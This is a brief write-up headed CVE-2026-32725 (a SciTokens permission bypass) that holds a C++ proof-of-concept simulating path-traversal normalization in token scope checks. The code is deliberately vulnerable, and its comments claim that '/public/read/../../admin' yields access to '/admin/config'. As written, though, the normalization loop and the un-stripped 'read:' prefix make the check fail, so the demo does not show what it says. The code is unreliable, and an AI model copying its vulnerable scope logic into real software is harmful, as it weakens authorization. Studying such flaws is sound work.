CVE-2026-32725 SciTokens权限绕过漏洞

// PoC Demonstration for CVE-2026-32725 // This code demonstrates how a scope with path traversal ('..') // can be normalized to bypass authorization checks. #include <iostream> #include <string> // Simulating the vulnerable behavior bool check_authorization_vulnerable(std::string requested_path, std::string token_scope) { // Vulnerable logic: Normalizes path by collapsing '..' size_t pos = 0; while ((pos = token_scope.find("..", pos)) != std::string::npos) { // In the real library, complex path normalization logic exists // Here we simplify: /safe/../../admin -> /admin token_scope.replace(pos - 1, 3, ""); pos = 0; } std::cout << "[Vulnerable] Normalized Scope: " << token_scope << std::endl; // Check if requested path starts with the normalized scope return requested_path.rfind(token_scope, 0) == 0; } int main() { // Scenario: Attacker has token for /public/read // But wants to access /admin/config std::string malicious_token_scope = "read:/public/read/../../admin"; std::string target_resource = "/admin/config"; if (check_authorization_vulnerable(target_resource, malicious_token_scope)) { std::cout << "[!] Access GRANTED to " << target_resource << std::endl; std::cout << "[!] Authorization bypass successful!" << std::endl; } else { std::cout << "[+] Access DENIED" << std::endl; } return 0; }